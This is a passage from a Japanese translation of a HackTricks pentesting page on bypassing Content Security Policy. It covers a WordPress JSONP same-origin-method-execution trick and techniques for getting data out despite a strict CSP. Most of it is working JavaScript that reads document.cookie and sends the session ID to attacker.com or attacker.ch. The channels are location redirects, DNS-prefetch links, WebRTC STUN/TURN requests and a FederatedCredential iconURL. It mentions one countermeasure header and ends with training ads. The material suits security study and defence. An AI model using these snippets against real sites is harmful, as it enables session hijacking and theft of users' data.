さらに、wordpressには/wp-json/wp/v2/users/1?_jsonp=dataJSONPエンドポイントがあり、送信したdataを出力にreflectします(英字・数字・ドットのみ許可という制限付き)。

攻撃者はそのエンドポイントを悪用してWordPressに対するSOME attackを生成し、<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> の中にembedすることができます。なおこのscriptは**'self' によって許可されているためloadedされます。さらに、WordPressがインストールされているため、攻撃者は脆弱なcallbackエンドポイントを通じてSOME attack**を悪用し、bypasses the CSPしてユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりする可能性があります...
この攻撃の実行方法の詳細については次を参照してください: https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP 情報持ち出しバイパス

厳格なCSPにより外部サーバーとやり取りすることが許可されていない場合でも、情報を持ち出すために常にできることがいくつかあります。

Location

単純にlocationを更新して、秘密情報を攻撃者のサーバーに送ることができます:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

meta tagを注入してリダイレクトできます(これは単なるリダイレクトで、コンテンツをleakすることはありません)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

ページをより速く読み込むため、ブラウザはホスト名を事前に解決してIPアドレスに変換し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前解決させるには: <link rel="dns-prefetch" href="something.com">

この挙動を悪用して exfiltrate sensitive information via DNS requests:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

別の方法:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

このような事態を防ぐために、サーバーは次の HTTP header を送信できます:

X-DNS-Prefetch-Control: off

tip

どうやら、この手法は headless browsers (bots) では動作しないようです

WebRTC

いくつかのページでは、WebRTCがCSPのconnect-srcポリシーをチェックしないと書かれています。

実際には、DNS request を使って情報を leak することができます。以下のコードを見てください:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

別のオプション:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

資格情報ポップアップは、ページによって制限されることなくiconURLに対してDNSリクエストを送信します。これは安全なコンテキスト(HTTPS)またはlocalhost上でのみ動作します。

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

CSPポリシーをオンラインで確認

CSPの自動生成

https://csper.io/docs/generating-content-security-policy

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする